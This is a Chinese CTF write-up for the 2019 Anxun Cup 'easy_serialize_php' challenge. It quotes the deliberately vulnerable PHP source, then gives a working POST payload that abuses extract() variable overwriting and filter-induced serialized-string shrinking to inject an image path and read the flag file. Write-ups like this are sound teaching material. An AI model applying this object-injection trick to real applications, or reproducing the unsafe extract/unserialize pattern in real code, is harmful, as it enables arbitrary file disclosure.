[安洵杯 2019]easy_serialize_php--序列化绕过,extract()函数。

解题:
打开源码:

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

这里进行代码审计之后发现
extract会覆盖变量。file_get_content函数会获得文件内容。implode:用一个字符串去连接每个数组元素。
根据提示打开phpinfo
在这里插入图片描述这里就想到最后是要打开这个d0g3_f1ag.php。
逻辑:
base64_decode($userinfo[‘img’])=d0g3_f1ag.php。
$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==;

 $userinfo = unserialize($serialize_info);
$serialize_info = filter(serialize($_SESSION));

这里会序列化session值。

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

数组中有的数值会被换成空。
得让session[img]=ZDBnM19mMWFnLnBocA==;
这里就要利用序列化的:

>  <?php
   > #正规序列化的字符串 
   > $a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
   > var_dump(unserialize($a));
   > #带有多余的字符的字符串 
   > $a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
   > var_dump(unserialize($a_laji));

这里用POST传入:

_SESSION[phpflag]=;s:4:"hack";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

按照题目顺序传入的参数被序列化后变成。(phpflag被换成空)

a:2:{s:7:"";s:51:";s:4:"hack";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

《";s:51:》这个变成传入的键名,对应的值是长度为4的hack。因为a=2所以只有两个键值对,那么后面这个《";s:3:“img”;s:20:“Z3Vlc3RfaW1nLnBuZw==”;}》就被抛弃了。这样就实现把用我们想要的img去替换题目中的img了。
传入之后发现有个新的文件名,把它base64加密替换原来文件的位置就行了,这里要注意加密之后长度是否还是20;就能得到flag了。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

熊是本熊

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值